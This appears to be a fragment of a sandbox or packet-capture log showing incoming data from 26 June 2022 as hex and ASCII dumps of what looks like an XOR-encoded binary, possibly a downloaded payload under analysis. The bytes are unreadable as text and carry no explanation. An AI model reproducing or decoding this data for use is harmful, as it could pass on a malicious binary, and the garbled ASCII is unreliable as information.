2022-06-26 07:42:48 UTC	115	IN	Data Raw: 25 68 20 21 0d c2 34 da da 9e c4 94 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd 0e e5 30 8d 37 c8 65 25 89 da 55 89 64 45 68 20 21 0d d3 53 25 25 66 9e 66 30 21 0d e9 63 25 25 0e e5 7f 34 34 89 64 35 8d f4 c8 65 25 68 20 21 0d f2 2e da da 9e c4 48 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd 0e e5 30 8d 83 c8 65 25 89 da 55 89 64 45 68 20 21 0d 3f 61 25 25 66 9e 66 30 21 0d 2d 1a 25 25 0e e5 7f 34 34 89 64 35 8d 40 c8 65 25 68 20 21 0d f6 48 da da 9e c4 fc 71 da da c6 15 36 34 38 9e 68 65 25 30 66 11 8f 25 2e 66 fd 0e e5 30 8d cf c8 65 25 89 da 55 89 64 45 68 20 21 0d 27 16 25 25 66 9e 66 30 21 0d b5 63 25 25 0e e5 7f 34 34 89 64 35 8d 8c c8 65 25 68 20 21 0d aa 91 da da 9e c4 b0 26 da da c6 15 36 34 38 9e 68 65 25 2e 7b 32 Data Ascii: %h !4q648he%0f%.f07e%UdEh !S%%ff0!c%%44d5e%h !.Hq648he%0f%.f0e%UdEh !?a%%ff0!-%%44d5@e%h !Hq648he%0f%.f0e%UdEh !'%%ff0!c%%44d5e%h !&648he%.{2
2022-06-26 07:42:48 UTC	119	IN	Data Raw: da 57 89 64 47 66 20 21 8b 66 25 ea 92 f5 5e 1f 39 ea 62 a6 dc 25 25 da 49 70 3a d8 65 25 8e d8 65 25 eb d8 65 25 ca d8 65 25 27 23 65 25 39 23 65 25 4f 23 65 25 65 23 65 25 81 23 65 25 97 23 65 25 35 da 65 25 fe da 65 25 60 23 65 25 1f 23 65 25 35 da 65 25 fe da 65 25 fe da 65 25 bd 23 65 25 86 23 65 25 9a 23 65 25 ae 23 65 25 0b 23 65 25 a2 20 15 25 25 25 25 a2 20 19 25 25 25 25 c4 8d de 25 25 a5 18 45 9e 1c 25 25 99 e8 8b df 39 25 8b dd dc 25 0d 01 07 da da a2 20 15 25 25 25 25 a2 20 19 25 25 25 25 c4 1a de 25 25 66 20 21 ea 9a 65 2d 74 64 20 15 64 30 19 c4 51 de 25 25 66 20 21 66 65 2d 74 64 20 15 64 30 19 c4 3f de 25 25 66 20 21 b4 65 2d 0d a0 0a da da 64 20 15 64 30 19 c4 29 de 25 25 66 20 21 b8 65 2d 0d 8a 0a da da 64 20 15 64 30 19 c4 13 27 25 25 Data Ascii: WdGf !f%^9b%%Ip:e%e%e%e%'#e%9#e%O#e%e#e%#e%#e%5e%e%`#e%#e%5e%e%e%#e%#e%#e%#e%#e% %%%% %%%%%%E%%9%% %%%% %%%%%%f !e-td d0Q%%f !fe-td d0?%%f !e-d d0)%%f !e-d d0'%%
2022-06-26 07:42:48 UTC	123	IN	Data Raw: 1c 25 c8 31 1c 25 c8 31 1c 25 c8 31 1c 25 b3 31 1c 25 c9 31 1c 25 92 31 1c 25 ef 31 1c 25 bc 31 1c 25 0e e5 64 20 1d c4 de dc 25 25 a5 18 45 9e 1c 25 25 99 e8 8b df 29 25 8b dd dc 25 0d 9b f9 da da 0e e5 64 20 1d c4 be 25 25 25 66 20 21 ba 65 2d b4 38 1d 76 c4 f9 25 25 25 66 20 21 b6 65 2d b4 38 1d 76 c4 a0 25 25 25 66 20 21 66 65 2d 64 20 1d c4 92 25 25 25 66 20 21 ea 9a 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c4 7c 25 25 25 66 20 21 ea e3 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c4 66 25 25 25 66 20 21 ea db 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c6 9d 66 20 21 ea 92 65 2d 64 20 19 b6 20 19 b4 38 1d 76 c6 40 66 20 21 66 65 2d 64 20 11 0e e5 64 20 15 ba 48 11 b4 38 1d 76 c6 73 66 20 21 ba 8d 2d b4 38 1d 76 c6 67 0e e5 30 8d ec e8 1c 25 89 da 55 89 64 45 66 20 21 0d Data Ascii: %1%1%1%1%1%1%1%1%d %%E%%)%%d %%%f !e-8v%%%f !e-8v%%%f !fe-d %%%f !e-d 8v\|%%%f !e-d 8vf%%%f !e-d 8vf !e-d 8v@f !fe-d d H8vsf !-8vg0%UdEf !
2022-06-26 07:42:48 UTC	127	IN	Data Raw: 3c da da 66 30 1d 66 eb 0d 0f fe da da c4 c2 de 25 25 b4 1e 2d 5e e9 19 b6 61 49 76 68 20 19 0d 16 50 da da 66 30 19 66 eb 0d a4 fe da da c4 eb de 25 25 b8 1e 2d 5e e9 19 b6 61 49 76 68 20 15 0d 3f 50 da da 66 30 15 66 eb 0d cd fe da da c4 80 de 25 25 da 4e 31 da 4e 2d 68 20 11 0d ac d6 da da 66 30 11 66 eb 0d 9a 00 da da c4 ad de 25 25 da 4e 31 da 4e 2d 68 20 0d 0d 11 d6 da da 66 30 0d 66 eb 0d c7 00 da da c4 46 de 25 25 68 20 09 75 66 1e 2d 94 da da da 5a df dc 25 25 25 0d 5a 06 da da 66 30 09 66 eb 0d 58 00 da da c4 6b de 25 25 68 30 05 8b 66 1e 2d 0d 09 d6 da da 66 30 05 66 eb 0d 87 00 da da c4 06 de 25 25 68 30 01 ea e3 1e 2d 0d 64 85 da da 66 30 01 66 eb 0d ee fe da da c4 35 de 25 25 68 30 fd 0e e5 af 1e 2d 0d 48 85 da da 66 30 fd 66 eb 0d d2 47 da Data Ascii: <f0f%%-^aIvh Pf0f%%-^aIvh ?Pf0f%%N1N-h f0f%%N1N-h f0fF%%h uf-Z%%%Zf0fXk%%h0f-f0f%%h0-df0f5%%h0-Hf0fG
2022-06-26 07:42:48 UTC	131	IN	Data Raw: 25 25 1e 50 97 97 40 93 3e 54 25 25 25 25 da da da da 29 25 25 25 69 3c 99 40 25 25 25 25 da da da da 2b 25 25 25 2a 91 40 2e 99 97 25 25 da da da da 2d 25 25 25 69 44 4e 95 3c 99 3e 8d 25 25 25 25 da da da da e0 25 25 25 20 97 97 4a 97 25 25 25 da da da da e2 25 25 25 67 4a 4a 91 40 3c 93 25 da da da da e2 25 25 25 7b 3c 97 44 3c 93 99 25 da da da da e2 25 25 25 30 93 46 93 4a 52 93 25 da da da da e2 25 25 25 69 40 3e 44 48 3c 91 25 da da da da de 25 25 25 49 55 6b 25 da da da da 2d 25 25 25 2e 8d 4a 97 99 24 93 99 25 25 25 25 da da da da 29 25 25 25 67 54 99 40 25 25 25 25 da da da da 29 25 25 25 32 4a 97 89 25 25 25 25 da da da da 2d 25 25 25 71 4a 93 42 32 4a 97 89 25 25 25 25 da da da da e0 25 25 25 24 93 99 5b 59 25 25 25 30 66 11 5c e9 1d d8 da da Data Ascii: %%P@>T%%%%)%%%i<@%%%%+%%%*@.%%-%%%iDN<>%%%%%%% J%%%%%%gJJ@<%%%%{<D<%%%%0FJR%%%%i@>DH<%%%%IUk%-%%%.J$%%%%)%%%gT@%%%%)%%%2J%%%%-%%%qJB2J%%%%%%%$[Y%%%0f\
2022-06-26 07:42:48 UTC	135	IN	Data Raw: 99 2d 68 30 d1 0d fe de 25 25 66 38 15 60 b6 99 41 26 68 d9 b8 d1 d8 da da 66 a3 29 60 da 99 e4 66 b2 66 2b 0d 0d 35 da da 60 b6 50 09 0e e5 7f 34 34 89 64 35 8d 0f 18 1c 25 66 38 15 60 b6 99 37 26 66 a9 b8 d1 d8 da da 75 0d fb 1b da da 60 b6 50 13 9e c4 c1 d6 23 da c6 ba 0e e5 7f 34 34 89 64 35 8d e8 63 1c 25 68 20 d1 66 f0 95 59 1c 25 0d f6 31 da da 9e c4 54 d6 23 da c6 0f 3a 83 36 66 c0 38 e7 2d 25 66 e5 30 66 11 5e e9 1d 66 20 2d 66 65 21 64 20 1d eb 20 21 2b 68 20 1d 75 8f 25 66 e8 e5 aa 1c 25 d7 dc 7c 85 10 1c 25 0d 44 9b da da 0d 99 d6 23 da 34 34 38 9e 30 66 11 5e e9 05 2e 7b 32 64 28 19 64 30 21 64 20 09 68 58 05 66 20 21 64 e2 0e 1b 64 40 1d 66 20 19 65 9c 05 27 04 e9 68 20 15 64 45 66 e2 0d ad 6b da da 66 fd 8f 25 8f 25 2e 66 e2 75 8f 25 8f 25 Data Ascii: -h0%%f8`A&hf)`ff+5`P44d5%f8`7&fu`P#44d5c%h fY%1T#:6f8-%f0f^f -fe!d !+h u%f%\|%D#4480f^.{2d(d0!d hXf !dd@f e'h dEfkf%%.fu%%
2022-06-26 07:42:48 UTC	139	IN	Data Raw: 50 95 4e b5 30 66 11 2c 2e 7b 32 a9 f7 99 2d 5e e9 15 0d a0 0d 23 da 66 d4 ad 30 da 66 fd 0e f7 66 9e 0d 0c 0b 23 da d7 dc 7c 59 6d 1c 25 0d 00 0b 23 da 64 1e 29 d7 dc 7c 19 6f 1c 25 0d 3b 0b 23 da 64 1e 2d d7 dc 7c 59 6d 1c 25 0d e2 0b 23 da 66 15 64 4e 31 66 eb 66 b2 0d a4 27 25 25 66 9e a5 58 da 25 99 ea 0d ed 0d 23 da 89 6a e0 25 25 25 25 5e e9 31 66 9e 3a 83 36 34 38 9e 66 e5 2e 7b 0d 98 0d 23 da 66 ff 66 15 66 ae a5 07 21 66 eb 0d bc c0 23 da 66 6b 29 0d c4 c0 23 da 66 6b 2d 0d bc c0 23 da 66 6b 31 0d b4 c0 23 da a9 b6 a3 e2 66 eb 0d 97 0d 23 da 83 36 9e 68 65 25 2e 7b 66 ff 66 15 60 b6 99 35 66 eb 0d 86 29 da da 16 fd 99 e0 0e e5 83 36 9e d5 dc 83 36 9e b5 2e 7b 32 66 1f 66 15 66 6b 31 66 7d 2d 26 5e d6 25 a1 00 66 ae 66 6b 31 0d 46 de 25 25 66 b2 Data Ascii: PN0f,.{2-^#f0ff#\|Ym%#d)\|o%;#d-\|Ym%#fdN1ff'%%fX%#j%%%%^1f:648f.{#fff!f#fk)#fk-#fk1#f#6he%.{ff`5f)66.{2fffk1f}-&^%ffk1F%%f
2022-06-26 07:42:48 UTC	143	IN	Data Raw: 35 8d 8a 83 1c 25 66 20 21 0d d0 b0 23 da 9e c4 b2 ff 23 da c6 15 83 34 38 9e b5 30 66 11 5e e9 1d 2e 7b 0e a4 64 28 1d 66 ff 64 20 21 0e e5 30 8d 2c 3a 1c 25 89 da 55 89 64 45 66 20 21 0d 61 d4 da da 0e e5 30 8d 59 3a 1c 25 89 da 55 89 64 45 66 9e 66 35 da 37 66 15 66 9e 0d 2a e6 25 25 06 15 68 20 1d 66 f3 0e f7 0d ec 07 23 da 66 30 1d 66 f3 66 9e 66 3d da 2e 31 66 30 1d 66 20 21 66 2d da 2c 51 0e e5 7f 34 34 89 64 35 8d 16 3a 1c 25 66 20 21 0d 7c d4 da da 9e c4 26 ff 23 da c6 15 0e e5 7f 34 34 89 64 35 8d 7d 3a 1c 25 68 20 1d 0d fd 05 23 da 9e c4 53 ff 23 da c6 15 83 36 34 34 38 9e 66 e5 30 66 11 5e e9 1d 2e 7b 32 0e b6 64 38 1d 66 cc 66 ff 64 20 21 0e e5 30 8d dc 85 1c 25 89 da 55 89 64 45 16 ce 99 89 66 20 21 0d 64 1d da da 0e e5 30 8d 09 3a 1c 25 89 Data Ascii: 5%f !##480f^.{d(fd !0,:%UdEf !a0Y:%UdEff57ff*%%h f#f0fff=.1f0f !f-,Q44d5:%f !\|&#44d5}:%h #S#6448f0f^.{2d8ffd !0%UdEf !d0:%
2022-06-26 07:42:48 UTC	148	IN	Data Raw: 30 1d 64 20 21 5e 18 b1 0d 1c 25 25 ea a9 ab 25 25 25 7c b1 0d 1c 25 0d 4b c0 da da 66 1d 0e e5 30 8d 8a 4a 1c 25 89 da 55 89 64 45 66 3a 2d 26 5e d6 25 a1 69 66 ae 66 a2 0d 45 be da da 66 15 5e 58 21 25 99 2d 66 6b 2d 16 20 21 50 00 5e 58 1d 25 99 ea 66 7b 35 66 20 1d 0d fe e8 da da a9 e5 99 35 66 ae 66 a2 0d 23 bc da da 66 eb 0d e6 a0 23 da 26 5e d6 da 50 e1 0e e5 7f 34 34 89 64 35 8d db 4a 1c 25 7c b1 0d 1c 25 0d eb 09 da da 9e c4 f5 a4 23 da c6 13 3a 83 36 34 34 38 9e 68 65 25 30 66 11 2c 2e 7b 32 64 20 21 5e 18 b1 0d 1c 25 25 99 46 7c b1 0d 1c 25 0d 5e 09 da da 66 1d 0e e5 30 8d 12 95 1c 25 89 da 55 89 64 45 66 3a 2d 26 5e d6 25 a1 04 66 ae 66 a2 0d 58 07 da da 66 15 66 6b 29 16 20 21 50 35 66 ae 66 a2 0d 9b bc da da 66 eb 0d 5e e9 23 da 26 5e d6 da Data Ascii: 0d !^%%%%%\|%Kf0J%UdEf:-&^%iffEf^X!%-fk- !P^X%f{5f 5ff#f#&^P44d5J%\|%#:6448he%0f,.{2d !^%%F\|%^f0%UdEf:-&^%ffXffk) !P5fff^#&^
2022-06-26 07:42:48 UTC	152	IN	Data Raw: c6 c6 66 20 21 83 36 66 c0 38 9e 66 e5 2e 7b 32 5e e9 1d 66 cc 66 1f 66 fd 8f 65 8d 25 55 25 25 7b 8f 25 2e 0d 79 c0 23 da 64 29 49 68 69 49 29 75 7b 32 66 69 49 31 75 2e 0d 5a c0 23 da 66 29 49 34 7f 3a 83 36 9e 66 e5 30 66 11 5e e9 15 2e 7b 32 66 d4 66 17 66 fd 66 28 31 66 b2 66 9e 0d 84 da da da 64 20 1d 66 eb 0d b2 23 da da 66 ed 66 fb 66 9e 0d b9 da da da 64 20 21 68 20 15 75 8f 25 66 20 1d 75 66 20 21 75 8f 25 8f 25 2e 0d 2c be 23 da 66 15 a5 58 2d 25 99 f6 8f da 7b 0d dc c0 23 da 68 20 19 75 66 20 31 75 32 66 20 1d 75 2e 0d a3 09 23 da 66 eb 3a 83 36 66 c0 38 e7 2d 25 68 65 25 2e 7b 32 30 5c e9 f5 23 da da 66 0f 66 1d 0e b6 8f 65 8d 25 35 25 25 8d fe dc 25 25 8f 25 32 0d b9 09 23 da 64 29 49 5e 61 49 25 ea a9 84 25 25 25 66 29 49 eb 69 49 31 8d 68 Data Ascii: f !6f8f.{2^fffe%U%%{%.y#d)IhiI)u{2fiI1u.Z#f)I4:6f0f^.{2ffff(1ffd f#fffd !h u%f uf !u%%.,#fX-%{#h uf 1u2f u.#f:6f8-%he%.{20\#ffe%5%%%%%2#d)I^aI%%%%f)IiI1h
2022-06-26 07:42:48 UTC	155	IN	Data Raw: e9 19 2e 7b 32 0e b6 64 38 19 66 d4 64 30 1d 64 20 21 66 20 21 0d e3 dd 23 da 66 20 1d 0d db dd 23 da 0e e5 30 8d a8 b1 1c 25 89 da 55 89 64 45 0e 1b 68 20 19 66 30 21 0d 5e d9 23 da 66 20 19 0d 7e db 23 da 75 66 a2 94 dc 25 25 25 66 f0 d5 ad 1c 25 0d e1 eb 23 da 5e e9 29 66 30 19 66 20 1d 0d 8f 94 23 da 66 fd 26 5e d6 da 50 ea 66 e2 68 29 d5 66 30 19 0d dc d9 23 da c6 10 66 e2 68 29 d5 75 66 a6 df dc 25 25 25 66 20 19 0d db dd 23 da 66 20 1d 0d 73 db 23 da 66 ed de a6 68 20 19 df dc 25 25 25 0d b8 dd 23 da 6b 5e 58 19 25 50 84 0e e5 7f 34 34 89 64 35 8d f9 b1 1c 25 68 20 19 df de 25 25 25 0d a5 8e 23 da 9e c4 d7 d1 23 da c6 c6 3a 83 36 66 c0 38 9e b5 2e 7b 32 30 2c 66 c4 66 ff 64 29 49 68 4e dc 66 fb 66 a0 0d 49 94 23 da 73 60 1b a1 f6 6b 0e da 66 41 49 Data Ascii: .{2d8fd0d !f !#f #0%UdEh f0!^#f ~#uf%%%f%#^)f0f #f&^Pfh)f0#fh)uf%%%f #f s#fh %%%#k^X%P44d5%h %%%##:6f8.{20,ffd)IhNffI#s`kfAI
2022-06-26 07:42:48 UTC	159	IN	Data Raw: 25 df f1 d7 1c 25 0d 11 7e 23 da da 10 59 c4 1c 25 da 10 41 c4 1c 25 da 10 25 c4 1c 25 8d 05 d7 1c 25 68 60 99 da da da df 29 25 25 25 0d cc cb 23 da 66 60 99 da da da 0d 4b cd 23 da 75 0d 05 a2 23 da 7e ed 0d 1c 25 da 10 71 c4 1c 25 8d 11 d7 1c 25 da 10 5d c4 1c 25 8d 21 d7 1c 25 da 10 f5 0d 1c 25 68 60 95 da da da df e0 25 25 25 0d 8a cb 23 da 66 60 95 da da da 0d 09 82 23 da 75 7c ed 0d 1c 25 75 0d 7d a2 23 da 7e dd 0d 1c 25 df 6d 3e 65 25 dd dd 0d 1c 25 0d f9 11 da da 7c ed 0d 1c 25 75 0d 9c eb 23 da dd 59 c4 1c 25 df 31 8e 1c 25 0d 63 7e 23 da dd 41 c4 1c 25 df 3d 8e 1c 25 0d 0a 7e 23 da dd 25 c4 1c 25 df 49 8e 1c 25 0d 45 7e 23 da dd 5d c4 1c 25 df 55 8e 1c 25 0d ec 7e 23 da dd 71 c4 1c 25 df 65 8e 1c 25 0d 27 7e 23 da dd f5 0d 1c 25 df 71 8e 1c 25 Data Ascii: %%~#Y%A%%%%h`)%%%#f`K#u#~%q%%]%!%%h`%%%#f`#u\|%u}#~%m>e%%\|%u#Y%1%c~#A%=%~#%%I%E~#]%U%~#q%e%'~#%q%
2022-06-26 07:42:48 UTC	163	IN	Data Raw: 1c 25 7c ed 0d 1c 25 75 0d 2c 92 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d a8 01 da da 8d e5 db 1c 25 7c ed 0d 1c 25 75 0d 08 92 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 84 01 da da 7c ed 0d 1c 25 75 0d bb db 23 da dd 59 c4 1c 25 df 09 db 1c 25 0d ee 6e 23 da 68 60 99 d8 da da 94 f9 8e 1c 25 66 f0 59 c4 1c 25 0d 90 70 23 da 66 60 99 d8 da da 0d 83 72 23 da 66 f5 68 60 9d d8 da da 0d 64 b9 23 da 66 60 9d d8 da da df 25 a5 25 25 0d cc 43 da da 7e ed 0d 1c 25 8d 0d db 1c 25 7c ed 0d 1c 25 75 0d d1 db 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 4d 01 da da 8d 21 db 1c 25 7c ed 0d 1c 25 75 0d ad db 23 da 7e dd 0d 1c 25 df 4d 3e 65 25 dd dd 0d 1c 25 0d 29 01 da da 8d 31 92 1c 25 7c ed 0d 1c 25 75 0d 89 db 23 da 7e dd 0d 1c 25 Data Ascii: %\|%u,#~%M>e%%%\|%u#~%M>e%%\|%u#Y%%n#h`%fY%p#f`r#fh`d#f`%%%C~%%\|%u#~%M>e%%M!%\|%u#~%M>e%%)1%\|%u#~%
2022-06-26 07:42:48 UTC	167	IN	Data Raw: 1c 25 a9 25 a9 25 25 25 a5 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 2d 25 25 39 25 39 25 39 25 39 dc a9 67 a9 dc 2b 67 2b 25 41 25 41 25 25 25 39 e2 a5 22 a5 e2 27 22 27 25 25 25 25 25 25 25 25 25 25 25 25 2d 25 2d 25 25 25 25 25 25 25 25 25 25 25 25 25 35 1c c5 dc 3d dc 45 dc 09 45 09 45 da da 25 25 25 25 25 25 25 25 25 25 da da da da da da 35 dc 25 25 08 e0 1a 25 1a 27 1a 25 1a 27 1a 25 1a 25 1a 25 1a 27 35 dc da da da da da da da da da da da da da da fe 65 fe 65 fe 27 fe 27 da da da da da da da da 1a 25 1a 27 0a 25 1a 27 18 25 18 25 1a 25 1a 25 25 25 25 a5 25 a5 25 a5 25 25 25 25 da da da da da da da da da da da da da da da da da da da da 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 09 45 02 67 1a 25 1a 25 Data Ascii: %%%%%-%-%-%-%-%-%-%-%%9%9%9%9g+g+%A%A%%%9"'"'%%%%%%%%%%%%-%-%%%%%%%%%%%%%5=EEE%%%%%%%%%%5%%%'%'%%%'5ee''%'%'%%%%%%%%%%%%%EEEEEEEEEEEEEEEEg%%
2022-06-26 07:42:48 UTC	171	IN	Data Raw: 25 25 71 4a 3e 3c 91 1c 91 91 4a 3e 25 25 25 25 22 40 99 79 44 3e 46 1e 4a 50 93 99 25 25 25 25 2c 50 40 97 54 75 40 97 8b 4a 97 48 3c 93 3e 40 1e 4a 50 93 99 40 97 25 25 25 22 40 99 7b 40 97 4e 44 4a 93 25 25 25 25 22 40 99 1e 50 97 97 40 93 99 79 8d 97 40 3c 89 24 89 25 25 25 25 24 93 99 40 97 91 4a 3e 46 40 89 69 40 3e 97 40 48 40 93 99 25 25 25 25 24 93 99 40 97 91 4a 3e 46 40 89 24 93 3e 97 40 48 40 93 99 25 25 25 25 7b 44 97 99 50 3c 91 2c 50 40 97 54 25 25 25 25 32 44 89 40 1e 8d 3c 97 79 4a 28 50 91 99 44 67 54 99 40 25 25 25 28 50 91 99 44 67 54 99 40 79 4a 32 44 89 40 1e 8d 3c 97 25 25 25 91 4e 99 97 91 40 93 1c 25 25 25 25 91 4e 99 97 3e 95 54 93 1c 25 25 25 71 4a 3c 89 71 44 87 97 3c 97 54 20 9d 1c 25 25 25 25 22 40 99 79 8d 97 40 3c 89 71 4a Data Ascii: %%qJ><J>%%%%"@yD>FJP%%%%,P@Tu@JH<>@JP@%%%"@{@NDJ%%%%"@P@y@<$%%%%$@J>F@i@>@H@%%%%$@J>F@$>@H@%%%%{DP<,P@T%%%%2D@<yJ(PDgT@%%%(PDgT@yJ2D@<%%%N@%%%%N>T%%%qJ<qD<T %%%%"@y@<qJ
2022-06-26 07:42:48 UTC	175	IN	Data Raw: 59 f5 59 f9 59 fd 59 01 59 05 59 09 59 0d 59 11 59 21 59 41 10 49 10 4d 10 51 10 55 10 59 10 5d 10 61 10 65 10 69 10 7d 10 9d 10 a5 10 a9 10 ad 10 b1 10 b5 10 b9 10 bd 10 c1 10 c5 10 d9 10 f9 10 01 10 05 10 09 10 0d 10 11 10 15 10 19 10 1d 10 21 10 35 5b 55 5b 5d 5b 61 5b 65 5b 69 5b 6d 5b 71 5b 75 5b 79 5b 7d 5b 95 5b b5 5b bd 5b c1 5b c5 5b c9 5b cd 5b d1 5b d5 5b d9 5b dd 5b ed 5b 0d 5b 15 5b 19 5b 1d 5b 21 5b 25 12 29 12 2d 12 31 12 35 12 49 12 69 12 71 12 75 12 79 12 7d 12 81 12 85 12 89 12 8d 12 91 12 a1 12 c1 12 c9 12 cd 12 d1 12 d5 12 d9 12 dd 12 e1 12 e5 12 e9 12 fd 12 1d 12 25 5d 29 5d 2d 5d 31 5d 35 5d 39 5d 3d 5d 41 5d 45 5d 5d 5d 7d 5d 85 5d 89 5d 8d 5d 91 5d 95 5d 99 5d 9d 5d a1 5d a5 5d b9 5d d9 5d e1 5d e5 5d e9 5d ed 5d f1 5d f5 5d f9 5d Data Ascii: YYYYYYYYY!YAIMQUY]aei}!5[U[][a[e[i[m[q[u[y[}[[[[[[[[[[[[[[[[[![%)-15Iiquy}%])]-]1]5]9]=]A]E]]]}]]]]]]]]]]]]]]]]]]]
2022-06-26 07:42:48 UTC	180	IN	Data Raw: e9 14 f5 14 f9 14 09 14 11 14 15 14 19 14 1d 14 21 14 25 5f 29 5f 2d 5f 31 5f 35 5f 39 5f 3d 5f 41 5f 45 5f 49 5f 4d 5f 51 5f 55 5f 59 5f 5d 5f 61 5f 65 5f 69 5f 6d 5f 71 5f 75 5f 79 5f 7d 5f 81 5f 85 5f 89 5f 8d 5f 91 5f 95 5f 99 5f 9d 5f a1 5f a5 5f a9 5f ad 5f b1 5f bf 5f d1 5f df 5f e3 5f f5 5f c4 5f 19 5f 29 16 39 16 41 16 45 16 49 16 4d 16 51 16 55 16 59 16 5d 16 61 16 65 16 69 16 6d 16 71 16 75 16 79 16 7d 16 81 16 85 16 89 16 8d 16 91 16 95 16 99 16 9d 16 a1 16 a5 16 a9 16 ad 16 b1 16 b5 16 b9 16 bd 16 c1 16 c5 16 c9 16 cd 16 d1 16 d5 16 d9 16 dd 16 e1 16 e5 16 e9 16 ed 16 f1 16 f5 16 f9 16 09 16 d0 16 d4 16 31 61 51 61 59 61 5d 61 61 61 65 61 69 61 6d 61 71 61 75 61 79 61 7d 61 81 61 85 61 89 61 8d 61 91 61 95 61 a1 61 c1 61 c9 61 cd 61 d1 61 d5 Data Ascii: !%_)_-_1_5_9_=_A_E_I_M_Q_U_Y_]_a_e_i_m_q_u_y_}_____________________)9AEIMQUY]aeimquy}1aQaYa]aaaeaiamaqauaya}aaaaaaaaaaaa
2022-06-26 07:42:48 UTC	184	IN	Data Raw: 4e ac 99 59 ea 38 a5 bb c7 46 ac 3f d9 43 18 a5 db c7 82 ac 26 0d 50 99 25 58 af b3 3e a5 ac 0c 33 8b b1 b4 3c 81 b1 62 20 85 64 7d 3f 4b a2 3b 3e c0 7d 10 7b 6a 10 3e f8 7d 12 9b f0 f6 e5 c3 3c ca 2d 49 27 66 a5 ee 11 2d 83 a9 35 e7 91 a7 b5 b5 22 7d 71 7d 1e cd 00 11 fe d9 37 df 2d 32 e4 5e a9 0c e7 02 47 6e cd 2a d9 00 9f 37 d4 e9 9d 87 5f 8c b5 7d 6b d1 4b 13 fc 43 fc c3 00 83 02 33 ee 3a 6e 6d 49 33 a4 b7 09 73 2f fc 00 b5 57 24 e6 24 46 6d b6 6d 08 c9 2e c9 63 f7 35 44 c1 71 4b c6 b5 48 a4 03 09 2d d7 a5 d1 45 72 6c 92 b5 ea b5 2a b7 d6 a4 9e 09 92 39 5f a0 ad 07 71 e4 c7 49 77 c9 b9 37 6f 10 40 1a c0 29 80 7a 57 67 74 c5 cf 2c a8 84 c3 f9 2d cf ad 5f 7a 7f 24 48 c5 9b 75 0a 2e 62 84 ee 59 50 bf 00 a8 76 3b 1e a6 c9 08 7e b0 f5 bf 44 42 44 d2 8d 0a Data Ascii: NY8F?C&P%X>3<b d}?K;>}{j>}<-I'f-5"}q}7-2^Gn7_}kKC3:nmI3s/W$$Fmm.c5DqKH-Erl9_qIw7o@)zWgt,-_z$Hu.bYPv;~DBD
2022-06-26 07:42:48 UTC	187	IN	Data Raw: fc 57 57 f7 82 f9 23 51 2d e9 c7 0c 6f ad c7 ad 7b 86 00 16 56 e0 6c 6c 6c 63 e6 c8 ba 25 15 7f ee ac ac 2c 39 3b d3 d2 df 10 2a 31 85 37 86 fe 10 10 b0 25 f1 e0 19 21 12 88 ee 95 1f 2e e7 2b c1 e2 cb d8 22 35 f3 d6 0c eb da 27 d6 1a b6 1a de 25 6d ce 17 f3 d8 ac e7 61 25 25 25 25 24 20 73 69 d3 67 85 a7 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 Data Ascii: WW#Q-o{Vlllc%,9;*17%!.+"5'%ma%%%%$ sig%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
2022-06-26 07:42:48 UTC	191	IN	Data Raw: 4d 41 ff e3 b7 a0 66 07 74 70 3c e9 ac ac 6b c4 02 a2 ed 7f 9a 72 c7 f9 b1 bb cc b1 d2 34 bd ee e0 cd ba 96 60 60 66 43 40 f3 67 fe 13 9a a3 82 99 b2 44 d7 fb ca 00 fb bd ed c9 23 ef fa 71 93 5b 76 44 8f 8f 17 56 d9 46 d3 01 9c c1 bd 85 b7 0b 80 be 1d ce 5f 7a e2 2d 55 33 e9 75 38 fd 91 9b 53 3a e3 71 22 a2 78 ec b6 1d a5 2f 1e c5 e8 02 6a 0e 06 79 45 fc 5b 64 03 86 98 41 84 0d f6 dc c5 1f 14 98 1f 51 f1 f6 12 93 c5 4d 57 0c 0c 0c be 73 f5 48 92 be dd 7b 66 4c 5c c3 cb ae 42 94 ff f2 e7 07 30 20 e9 3f ee a2 7d 3b 45 e9 35 a5 ae c4 09 f9 84 2e 29 e0 44 6d 24 24 cc 5f 3c 2a 2a ea 40 40 40 c9 8f 38 11 84 df 65 3a 69 57 4a 91 fd 5d 91 c3 e5 33 15 83 e6 ce 07 a0 66 f9 b0 b0 87 8e b4 a4 ef ef 67 82 e6 80 90 d0 2f c2 f3 78 82 90 90 70 68 f6 ba 49 49 89 3f 00 00 Data Ascii: MAftp<kr4``fC@gD#q[vDVF_z-U3u8S:q"x/jyE[dAQMWsH{fL\B0 ?};E5.)Dm$$_<**@@@8e:iWJ]3fg/xphII?
